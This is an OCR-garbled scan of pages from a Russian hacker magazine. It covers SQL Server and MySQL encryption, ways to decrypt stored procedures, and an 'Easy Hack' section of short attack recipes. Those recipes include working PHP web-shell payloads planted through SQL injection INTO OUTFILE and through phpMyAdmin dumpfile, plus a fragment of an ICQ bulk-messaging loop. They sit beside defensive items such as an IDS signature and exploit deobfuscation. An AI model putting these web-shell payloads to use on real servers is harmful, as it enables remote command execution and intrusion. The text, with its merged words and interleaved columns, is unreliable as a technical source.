похвастаться достаточно надежными меха- |
— EncryptByCert(), используемая для асси- |
|
GO |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
низмами шифрования данных. В той же |
метричного шифрования данных с помощью |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
самой MySQL я по памяти насчитал около |
сертификатов. Открытым ключом тут выступа- |
В этом примере производится выбор- |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
14 соответствующих функций, которые тебе |
ет сертификат. Только откуда этот сертификат |
ка строк из таблицы [БАЗА].[ТАБЛИЦА], |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
наверняка хорошо известны: |
|
|
взять? Ответ прост — сгенерировать с помо- |
|
помеченных как «Employers Access». |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
щью другой специальной функции. Покажу |
|
Пример дешифрует зашифрованный |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
AES_ENCRYPT() Шифрование AES |
на примере, как можно сгенерировать сер- |
|
текст с помощью закрытого ключа сер- |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
AES_DECRYPT() Расшифровка AES |
тификат с именем для andrej базы «Bank» с |
|
тификата «Andrej» и дополнительно- |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
COMPRESS() |
Возвращение резуль- |
помощью хранимой процедуры: |
|
|
го пароля pGFD4bb925DGvbd2439587y. |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
тата в бинарном виде |
|
|
|
|
|
|
|
|
Расшифрованные данные преобразуются |
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
DES_ENCRYPT() Шифрование DES |
USE Bank; |
|
|
|
|
|
из типа varbinary в тип nvarchar. |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
DES_DECRYPT() Дешифрование DES |
CREATE CERTIFICATE andrej |
|
Надо сказать, что ассиметричные пре- |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
ENCODE() |
Шифрование |
строки |
ENCRYPTION |
BY |
|
PASSWORD |
= |
образования гораздо более накладны, |
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
поверхностным |
паролем |
(íà |
выходе |
'pGFD4bb925DGvbd2439587y' |
|
чем шифрование и дешифрование с |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
получается шифрованное слово пер- |
# Для генерации с использованием |
использованием симметричного ключа. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
воначальной «plaintext» длины) |
подгрузки из файла |
|
|
|
|
Поэтому использование ассиметричного |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
DECODE() |
Расшифровка |
текста, |
# FROM FILE = 'c:\Shipping\Certs\ |
шифрования не рекомендуется при работе |
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
обработанного функцией ENCODE() |
Shipping11.cer' |
|
|
|
|
с большими объемами данных, например, |
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
ENCRYPT() |
Шифрование с помощью |
# WITH PRIVATE KEY (FILE = 'c:\ |
таблицами пользовательских данных. Это |
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
Unix’ового системного вызова crypt |
Shipping\Certs\Shipping11.pvk', |
|
важно учитывать при особо больших базах, |
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
MD5() |
Подсчет MD-5 суммы |
WITH |
SUBJECT |
= |
'Employers |
а также базах, структура которых не приве- |
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
SHA1(), SHA() Подсчет SHA-1 (160- |
Access', |
|
|
|
|
|
дена к одной из нормальных форм. |
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
áèò) |
|
|
|
EXPIRY_DATE = '10/31/2009'; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
GO |
|
|
|
|
|
ПРЯЧЕМ ХРАНИМЫЕ ПРОЦЕДУРЫ! |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
Для их применения надо лишь чуть изме- |
|
|
|
|
|
|
Если ты не заметил, многое упирается в |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
нить свои SQL-запросы, добавив в нуж- |
У нас создался сертификат! Теперь его можно |
то, что вся конфиденциальность и целост- |
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
ном месте функции AES_ENCRYPT() или |
без проблем использовать для размещения в |
ность завязана на использование хранимых |
|
|
|
|
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
XÀÊÅÐ 04 /124/ 09 |
|
|
|
|
|
|
|
|
|
|
|
033 |
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
>>m |
|
|
|
|
|
|
BUY |
|
|
||||||||
w Click |
to |
|
|
|
|
pc_zone |
w Click |
to |
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
info |
|
• Незабывайо |
|
самыхпростыхис- |
|
тинахтрадиционной |
|
криптографии: |
|
• Чемболеенакру- |
|
ченалгоритмшиф- |
|
рования, тембольше |
|
ресурсовпроцессора |
|
онбудеткушать; |
|
• Ассиметричная |
|
криптография |
|
обеспечиваетболее |
|
надежнуюзащиту, |
|
чемсимметричная |
|
(дажесключами |
|
одинаковойдлины), |
|
ноееисполнениев |
|
базахможетощутимо |
Вместокодапроцедуры— сплошныезнакивопроса. Взломщиквобломе |
замедлитьвесьпро- |
|
цессработы; |
|
• Действияпо шифрованиюбазы напрямуюсвязаны смодификацией обращенийклиента. Увы, возможность «прозрачного» шифрованиябазына сегодняшнийдень существуеттольков
MSSQL 2008 (вверсииEnterprise). Эта функцияименуется тамTDE (Transparant Database Encryption).
процедур или функций. Получается, что, получив к ним доступ и грамотно проанализировав их код, любой опытный хакер сможет преобразовать шифрованную белиберду в исходный текст. Конечно, добраться до кода процедур далеко не всегда реально, потому здесь всплывает вопрос об утечке программной начинки производства, а именно — логике ПО. Но именно по этой причине необходимо прибегать к шифрованию процедур и функций в базе. Одно из самых популярных и удачных средств для таких действий — это програм-
ма SQL Shield (www.sql-shield.com). После несложной установки приложения не забудь указывать дополнительный флаг /*sqlshield*/ с выражением «WITH ENCRYPTION» всякий раз, когда будешь создавать защищенную процедуру. Вот пример функции, которая исполняет простейший запрос к базе:
CREATE PROCEDURE MyTest
WITH /*sqlshield*/ ENCRYPTION
AS
SELECT 2+2
Исполняем процедуру и получаем:
MyTest > 4
Проверим, в каком виде хранится процедура, с помощью специального средства для ковыряния в файлах базы.
Подойдет SQL Server Syscomments Decryptor (www. geocities.com/d0mn4r/dSQLSRVD.html), который при
отображении текста процедуры показывает одни лишь знаки вопроса. Все работает!
warning
Использование функцийшифро-
ванияSQL Server
совместно спараметром
ANSI_PADDING OFF можетпривестикпотереданных из-занеявных преобразований!
Пример из личного опыта
Сотрудниками одной компании платежно-карточного сектора велась база данных для выдачи зарплат. Для простого понимания, — пусть это будет примерно следующая структура:
ID |
LastName |
FirstName |
Emp |
Sum |
354 |
Somov |
Oleg |
IT-Manager |
M0x8900f56543 |
643 |
Antipova |
Alexandra |
Director |
4343Lax#dsdsss |
411 |
Timurov |
Valeriy |
Technical Dep. 0x2322322222 |
Выборку из базы я привел абсолютно произвольную, а теперь суть идеи. «Безопасниками» компании было принято вполне благородное решение — шифровать данные о зарплатах, которые очень часто бывают «серыми». Инсайдер получил доступ к базе и сильно обломался, заимев информацию в таком виде. Однако, он не отчаялся и проделал следующий фокус. Резонно предположив, что человек с должностью директора должен получать больше, чем простой менеджер, он поменял соответствующие поля со значениями зарплат одно на другое, тем самым — подложив бухгалтерскому отделу абсолютно левую информацию. В благополучный день такая вещь прокатила, и все безопасники были уволены. Для справки: этим сотрудником был не я, как впрочем, и не безопасником.
034 |
XÀÊÅÐ 04 /124/ 09 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
w Click |
|
BUY |
|
m |
>> |
w Click |
|
BUY |
|
m |
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
w |
|
|
to |
|
|
|
|
|
|
|
pc_zonew |
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
Так делать не стоит!
В SQL Server можно создавать четыре типа объектов (хранимые процедуры, представления, пользовательские функции и триггеры) с параметром WITH ENCRYPTION. Этот параметр позволяет зашифровать определение объекта таким образом, что тот можно будет использовать, но получить его определение стандартными способами станет невозможно. Это средство рекомендуется и Microsoft. К сожалению, на практике никакой защиты применение стандартных средств шифрования не обеспечивает! Алгоритм, используемый при шифровании определений объектов, выглядит так:
1)SQL Server берет GUID той базы данных, в которой создается объект, и значение столбца colid таблицы syscomments для создаваемого объекта (чаще всего, его значение — 1 или 2) и производит их конкатенацию;
2)Из полученного значения генерируется ключ при помощи алгоритма SHA;
3)Этот хеш используется в качестве входящего значения при применении еще одного алгоритма хеширования — RSA. С его помощью генерируется набор символов, равный по
Посчитанныевременныерезультатыдля |
длине шифруемому определению объекта; |
||
применениякрипто-алгоритмоввсредеSQL- |
4)С этим набором символов и с реальным определением объекта производится операция |
||
сервера2005 |
|||
XOR. В результате получаются данные, которые помещаются в столбец ctext таблицы |
|||
|
|
||
|
|
syscomments. |
|
|
|
У этой схемы есть два слабых места: |
|
|
|
• Нам ничего не мешает заиметь исходные значения (GUID и colid) для выполнения тех |
|
|
|
же самых операций и получить ключ на расшифровку. Это можно сделать, например, |
|
|
КАК ОБЛЕГЧИТЬ СЕБЕ ЖИЗНЬ? |
использовав утилиту dSQLSRVD. Правда, для получения GUID базы данных (и для запуска |
|
|
|||
|
|||
В заключение — не менее интересный про- |
этой утилиты) нам нужны права системного администратора; |
||
дукт XP_CRYPT (xpcrypt.com). Это средство |
• Если у нас есть права на создание объектов в базе данных, можно сгенерировать точно |
||
осуществляет весь тот геморрой, который мы |
такой же ключ для объекта, определение которого нам уже известно (путем сравнения |
||
только что проделали вручную. Все, что от |
шифрованного определения с незашифрованным). Ну и — использовать его для расшиф- |
||
тебя требуется, — скачать дистрибутив проги, |
ровки значения другого объекта. |
||
установить ее на сервер (к сожалению, есть |
Как можно расшифровать зашифрованные объекты на SQL Server? Есть два варианта: |
||
версия только для Винды), обозначить свою |
• Использовать утилиту dSQLSRVD. Она позволяет выбрать любой зашифрованный объ- |
||
базу данных и начать химию с таблицами с |
ект на сервере и записать его определение в текстовый файл; |
||
помощью удобного GUI-интерфейса. |
• Использовать хранимую процедуру DECRYPT2K. Код на создание данных хранимых |
||
Организуем знакомство на примере из |
процедур (в разных вариантах и с разными объяснениями), которые расшифровывают |
||
практики. Предположим, у нас есть интер- |
определение зашифрованных объектов, легко найти через Google. |
XP_Crypt избавляетотручногогеморрояпошифрованиюнужныхполей, позволяянастроитьвсе
черезсвоюудобнуюоболочку
нет-магазин, где каким-то образом хранятся данные о кредитных картах клиентов (распространенная ситуация, хотя это категорически запрещено!). Наша задача — зашифровать конкретные данные о клиентах, т.е. поля с паролем, номером кредитной карточки и т.п. Пока мы ничего не делали, при запросе SELECT * FROM tbl_CCards, СУБД возвращает все в открытом виде:
Username Password CredCardNum
james |
god |
1234567890123456 |
lucas |
sex |
2894787650102827 |
anna |
love |
3234563638716434 |
Напишем внешнюю функцию UDF (расшиф-
ровывается, как «User-Defined-Function»,
подробности — в последнем выпуске «Обзора эксплоитов») для преобразования строки в
SHA-хеш:
CREATE FUNCTION ud_MakeSHA1 (@ clearpass VARCHAR (8000) )
RETURNS VARCHAR (40) AS
BEGIN
XÀÊÅÐ 04 /124/ 09 |
035 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
>>m |
|
|
|
|
|
|
BUY |
|
|
||||||||
w Click |
to |
|
|
|
|
pc_zone |
w Click |
to |
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
СпомощьютулзыSysComments Decryptor находимхранимуюпроцедуруиубеждаемся, чтоона |
зашифрована |
Создаемпростейшуюхранимуюпроцедуру
Уразработчикаестьдваварианта: использоватьвстроенноевMS SQL шифрование, чтонеоченьхорошо, иливоспользоватьсявозможностями
SQL Shield
DECLARE @ret as VARCHAR(40) |
|
VARCHAR (16)) |
|
|
К шифрованию номера кредитной карты |
EXEC master..xp_sha1 @clearpass,@ |
|
RETURNS INTEGER |
|
надо подойти более серьезно. Впрочем, |
|
ret OUTPUT |
|
AS BEGIN |
|
|
мы не будем вникать в различного рода |
RETURN @ret |
|
DECLARE @res INTEGER |
|
стандарты по информационной безопас- |
|
END |
|
SELECT @res = count(*) FROM tbl_ |
|
ности в платежно-карточной сфере (вроде |
|
|
|
CCards where username=@username AND |
|
PCI; хотя организации, работающие с кре- |
|
|
|
||||
Отдаем команду: UPDATE tbl_CCards SET |
password=dbo.ud_MakeSHA1(@clear_ |
|
дитными картами, безусловно обязаны это |
||
password = dbo.ud_MakeSHA1(Password). |
pass) |
|
|
делать). В бесплатной версии XP_CRYPT |
|
После чего еще раз проверяем содержи- |
IF @res > 1 SELECT @res= 0 |
|
существует возможность генерации только |
||
мое базы той же командой. Что видим? Все |
RETURN @res |
|
|
256-битного ключа RSA. |
|
зашифровано, все пароли захеширова- |
END |
|
|
Вот этим-то как раз и можно воспользо- |
|
лись! Теперь нужно не забыть о том, что мы |
|
|
|
ваться (пусть упомянутый стандарт и тре- |
|
|
|
|
|||
используем шифрование при обращении |
Проверяем исполнением команды: |
бует, как минимум, 768-битного ключа). Я |
|||
к базе. В нашем случае, когда ты будешь |
|
|
|
бы мог сейчас привести код по генерации |
|
делать авторизацию пользователей, проце- |
SELECT |
dbo.ud_CheckUser |
|
публичного и приватного ключа, но… посту- |
|
дура проверки пароля по хешу будет выгля- |
('anna’,'kolbaska') |
|
пим проще. Все действия можно выполнить |
||
деть примерно так: |
>1 (неправильно) |
|
из понятного графического интерфейса, и |
||
|
|
SELECT |
dbo.ud_CheckUser |
|
во многих случаях оставить все на совести |
CREATE FUNCTION ud_CheckUser (@ |
|
('anna','love') |
|
|
программы, не написав ни строчки кода. |
username VARCHAR(16),@clear_pass |
|
>0 (окейно!) |
|
|
И поверь, будет работать!z |
|
|
|
|
|
|
036 |
XÀÊÅÐ 04 /124/ 09 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||
|
|
|
X |
|
|
|
|
|
|
||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
||||||
|
|
|
|
||||||||
w |
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Easy |
Hack} |
ПРОСТЫХВЕЩЕЙ |
||
|
|
|
|
ХАКЕРСКИЕСЕКРЕТЫ |
|
|
|
|
|
ЛЕОНИД «R0ID» СТРОЙКОВ |
АНДРЕЙ «SKVOZ» КОМАРОВ |
PSYCHO. |
|
|
/ R0ID@MAIL.RU / |
/ KOMAROV@ITDEFENCE.RU / |
/ X0WL.X0WL@GMAIL.COM / |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
¹1 |
|
|
|
||
|
/temporary/ |
|
|||
|
/images/ |
|
|||
|
/cache/ |
|
|||
|
/temp/ |
|
|||
ЗАДАЧА: ЗАЛИТЬШЕЛЛСРЕДСТВАМИMYSQL |
/files/ |
|
|||
РЕШЕНИЕ: |
|
|
|||
|
|
||||
1.ИщемнаWeb-сервередиректории, доступныедлязаписи. Заветный |
2.Мыужеподобраликолонки(допустим, ихбудет4), ивыполняемзапрос: |
||||
каталогможетприсутствоватьвэтомсписке: |
|
|
|||
|
|
|
UNION SELECT "<? system($_REQUEST['cmd']); ?>",2,3,4 |
|
|
|
/templates_compiled/ |
|
INTO OUTFILE "/var/www/html/temp/c.php" -- |
|
|
|
/templates_c/ |
|
|
|
|
3.Пользуемсяшелломпоадресуhttp://victim.com/temp/c.php. |
|||||
|
/templates/ |
|
|||
|
|
|
|
|
|
|
|
|
|
|
¹2
ЗАДАЧА: ЗАЛИТЬШЕЛЛСРЕДСТВАМИPHPMYADMIN РЕШЕНИЕ:
1.Каким-либообразомполучаемдоступкPhpMyAdmin.
2.Дляэстетикииудобствасоздаемновуюбазу:
CREATE DATABASE 'backdoor'
3.Ищемустановочныйпутьбазы
SELECT @@datadir
> C:\AppServ\MySQL\data\
4.Выполняемзапроснасозданиетаблицы:
CREATE TABLE backdoor( Stack TEXT
) TYPE=MYISaM;
INSERT INTO backdoor(Stack) VALUES(
'<pre><body bgcolor=silver<? @system($_ REQUEST["v"]); ?></body></pre>')
5.Отдаемкомандунадампсодержимоготаблицывфайл
SELECT * into dumpfile 'C:\AppServ\www\s.php' from backdoor;
6.Получаемшеллпоадресуvictim.com/s.php?v=команда.
¹3
ЗАДАЧА: СОХРАНИТЬПРОГРАММУ, ПОКАЗЫВАЕМУЮПООРТ РЕШЕНИЕ:
Увсех, ктосмотритпередачина«Первомканале», наверняка, бывает желаниесохранитьчто-нибудьизихрепертуара. Ноневсезнают, что ОРТвыкладываютвидеонасвоемсайтеввидеonline-flv. Чтобыего сохранить, можноприбегнутькдвумспособам:
1.Воспользоватьсясервисомru.savefrom.net. Этооченьпросто, поэтому небудууглублятьсявподробности.
2.Вручную. ДляэтогооткрываемHTML-кодстраницысвидеоинаходим местовставкиплеера.
3.КопируемURL квидеоипереходимнанего.
4.Смотримнаадреснуюстрокуивидим, чтопараметромкнейвыступает ссылканафайлнастроек, передаваемаячерезадреснуюстроку. ПрочитаемэтотфайлинайдемтамнужныйURL кflv-файлу.
exit();}
$file = fopen($file_uin,'r'); while (!feof($file)) {
$buffer = trim(fgets($file)); $icq->send_message($buffer, $message); echo «Message sent to $buffer \n»; flush();
sleep($pause); } $icq->disconnect();
038 |
XÀÊÅÐ 04 /124/ 09 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
¹4
ЗАДАЧА: ОТЛИЧИТЬBIND 8 ОТBIND 9, УЧИТЫВАЯ, ЧТОАДМИНИСТРАТОРУДАЛИЛПАРАМЕТРВЕРСИИВКОНФИГУРАЦИОННЫХ ФАЙЛАХДЕМОНА РЕШЕНИЕ:
Принципиальноеотличие— вBind 9 (начинаясверсии9.1.0) появи- ласьспециальнаяслужебнаяCHAOS-запись«authors». Дляпроверки этогопараметраможноиспользоватьштатныесредстваоперационной системы.
1. linux/freebsd
dig ns.example.com authors.bind chaos txt
2. windows/linux/freebsd
% nslookup -q=txt -class=CHAOS authors.bind. ns.example.com Server: ns.example.com
¹5
ЗАДАЧА: РАСШИФРОВАТЬОБФУСЦИРОВАННЫЙЭКСПЛОИТ РЕШЕНИЕ:
Задачаособенноактуальна, потомучтотакиммакаромможноохотитьсязановымиобразцамисплоитов. Вэтомпланеоченьпригодится тулзаподназваниемMalzilla (malzilla.sourceforge.net). Онасодержит всебедесяткиалгоритмовдлядешифровки, средикоторыхunescape-
Address: 23.23.23.23 authors.bind text = «Bob Halley» authors.bind text = «Mark Andrews»
authors.bind text = «James Brister» authors.bind text = «Michael Graff» authors.bind text = «David Lawrence» authors.bind text = «Michael Sawyer» authors.bind text = «Brian Wellington» authors.bind text = «Andreas Gustafsson»
3.Полученответс«пасхальнымяйцом» отразработчиков— следовательно, переднамидевятаяветка! Чтобывыявитьипредотвратитьтакое обнаружение, администраторможетпредпринятьследующуюсигнатуру:
alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS480/ named-probe-authors";
content: "|07|authors|04|bind»; depth: 32; offset: 12; nocase;)
ВнейсодержитсясинтаксисдлямониторингаUDP-транспортапо53 порту, по содержанию, приведенномувтекстезапроса, сзаданнойглубинойпоиска.
последовательность, UCS2-кодировкаJS итакдалее. Итак, порядок действий:
1.Копируемвсевредоносноешифрованноесодержимоенавкладку
«Download».
2.Жмем«Send script to Decoder», затем«Run script».
3.Вответполучаемдешифрованный(илипочтидешифрованный) сегментамисорецилинкнаподгрузкуфайла.
